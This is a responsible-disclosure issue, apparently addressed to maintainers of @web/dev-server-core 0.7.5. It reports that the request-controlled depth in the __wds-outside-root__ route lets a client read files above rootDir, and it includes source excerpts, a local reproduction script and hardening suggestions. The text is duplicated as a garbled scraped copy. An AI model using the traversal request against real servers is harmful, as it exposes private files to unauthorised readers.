Hi maintainers,
I found that @web/dev-server-core can serve files from parent directories of the configured rootDir through direct requests to the __wds-outside-root__ route.
I understand that serving files outside rootDir may be an intentional feature for monorepos, symlinks, or files imported from outside the project root. My concern is narrower: the current implementation appears to let any HTTP client choose the parent-directory depth directly in the URL, without checking whether that outside-root path was generated by the dev server or explicitly allowed.
Summary
@web/dev-server-core@0.7.5 exposes a route under:
/__wds-outside-root__/<depth>/<path>
The <depth> component is taken from the request path and used to move the static file root upward from the configured rootDir. A direct request can therefore read files from rootDir parent directories.
If this behavior is fully intentional, feel free to close this as expected behavior. If outside-root serving is intended only for server-generated URLs or explicitly known files, this may be worth tightening.
Affected version
Tested version:
@web/dev-server-core@0.7.5
This is the latest npm version I tested.
Relevant code
In packages/dev-server-core/src/middleware/serveFilesMiddleware.ts, requests whose path starts with __wds-outside-root__ are handled by resolving a custom root directory and passing it to koa-send:
const serveCustomRootDirMiddleware: Middleware = async (ctx, next) => {
if (isOutsideRootDir(ctx.path)) {
const { normalizedPath, newRootDir } = resolvePathOutsideRootDir(ctx.path, rootDir);
await send(ctx, normalizedPath, { ...koaStaticOptions, root: newRootDir });
return;
}
return next();
};
Relevant source:
packages/dev-server-core/src/middleware/serveFilesMiddleware.ts:22-25
The custom root directory is calculated in packages/dev-server-core/src/utils.ts:
export function resolvePathOutsideRootDir(browserPath: string, rootDir: string) {
const [, , depthString] = browserPath.split('/');
const depth = Number(depthString);
if (depth == null || Number.isNaN(depth)) {
throw new Error(`Invalid wds-root-dir path: ${path}`);
}
const normalizedPath = browserPath.replace(`${OUTSIDE_ROOT_KEY}${depth}`, '');
const newRootDir = path.resolve(rootDir, `..${path.sep}`.repeat(depth));
return { normalizedPath, newRootDir };
}
Relevant source:
packages/dev-server-core/src/utils.ts:126-136
The concern is that depth is request-controlled. For example, if rootDir is:
then this request:
/__wds-outside-root__/1/secret.txt
uses /tmp/project as the new static root and serves:
Reproduction
set -eu
rm -rf /tmp/web-dev-server-core-poc
mkdir -p /tmp/web-dev-server-core-poc
cd /tmp/web-dev-server-core-poc
npm init -y >/dev/null
npm install @web/dev-server-core@0.7.5 >/dev/null
node - <<'NODE'
const { DevServer } = require("@web/dev-server-core");
const fs = require("fs");
const os = require("os");
const path = require("path");
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), "wds-pt-"));
const root = path.join(base, "root");
fs.mkdirSync(root);
fs.writeFileSync(path.join(base, "secret.txt"), "SECRET_FROM_PARENT");
fs.writeFileSync(path.join(root, "index.html"), "ROOT_INDEX");
const server = new DevServer(
{
rootDir: root,
port: 8124,
hostname: "127.0.0.1",
middleware: [],
plugins: []
},
console
);
await server.start();
await sleep(300);
const url = "http://127.0.0.1:8124/__wds-outside-root__/1/secret.txt";
const response = await fetch(url);
console.log("status:", response.status);
console.log("body:", await response.text());
await server.stop();
})();
NODE
Observed output:
Receiving request: /__wds-outside-root__/1/secret.txt
Responding to request: /__wds-outside-root__/1/secret.txt with status 200
status: 200
body: SECRET_FROM_PARENT
The file is outside the configured rootDir, but a direct HTTP request can still retrieve it.
Why this might matter
If the dev server is reachable by another local process, a browser, a malicious web page through localhost requests, or a network peer when bound more broadly, direct access to parent directories may expose files that the project did not intend to serve.
The practical impact depends on where rootDir is located. For example, for a nested project root such as:
the route can expose files under:
and larger depth values can move higher up the filesystem tree.
Possible hardening
If direct arbitrary outside-root reads are not intended, possible mitigations could include:
- Only allowing outside-root URLs generated by the dev server for known files.
- Keeping an allowlist/map of explicitly permitted outside-root directories.
- Rejecting request-controlled depths that do not correspond to an approved outside-root path.
- Resolving the final file path and enforcing containment against an approved root using
path.relative().
- Returning 403/404 for direct
__wds-outside-root__ requests that were not generated by an internal resolution step.
Thanks for taking a look.
Hi maintainers,
I found that
@web/dev-server-corecan serve files from parent directories of the configuredrootDirthrough direct requests to the__wds-outside-root__route.I understand that serving files outside
rootDirmay be an intentional feature for monorepos, symlinks, or files imported from outside the project root. My concern is narrower: the current implementation appears to let any HTTP client choose the parent-directory depth directly in the URL, without checking whether that outside-root path was generated by the dev server or explicitly allowed.Summary
@web/dev-server-core@0.7.5exposes a route under:The
<depth>component is taken from the request path and used to move the static file root upward from the configuredrootDir. A direct request can therefore read files fromrootDirparent directories.If this behavior is fully intentional, feel free to close this as expected behavior. If outside-root serving is intended only for server-generated URLs or explicitly known files, this may be worth tightening.
Affected version
Tested version:
This is the latest npm version I tested.
Relevant code
In
packages/dev-server-core/src/middleware/serveFilesMiddleware.ts, requests whose path starts with__wds-outside-root__are handled by resolving a custom root directory and passing it tokoa-send:Relevant source:
The custom root directory is calculated in
packages/dev-server-core/src/utils.ts:Relevant source:
The concern is that
depthis request-controlled. For example, ifrootDiris:then this request:
uses
/tmp/projectas the new static root and serves:Reproduction
Observed output:
The file is outside the configured
rootDir, but a direct HTTP request can still retrieve it.Why this might matter
If the dev server is reachable by another local process, a browser, a malicious web page through localhost requests, or a network peer when bound more broadly, direct access to parent directories may expose files that the project did not intend to serve.
The practical impact depends on where
rootDiris located. For example, for a nested project root such as:the route can expose files under:
and larger
depthvalues can move higher up the filesystem tree.Possible hardening
If direct arbitrary outside-root reads are not intended, possible mitigations could include:
path.relative().__wds-outside-root__requests that were not generated by an internal resolution step.Thanks for taking a look.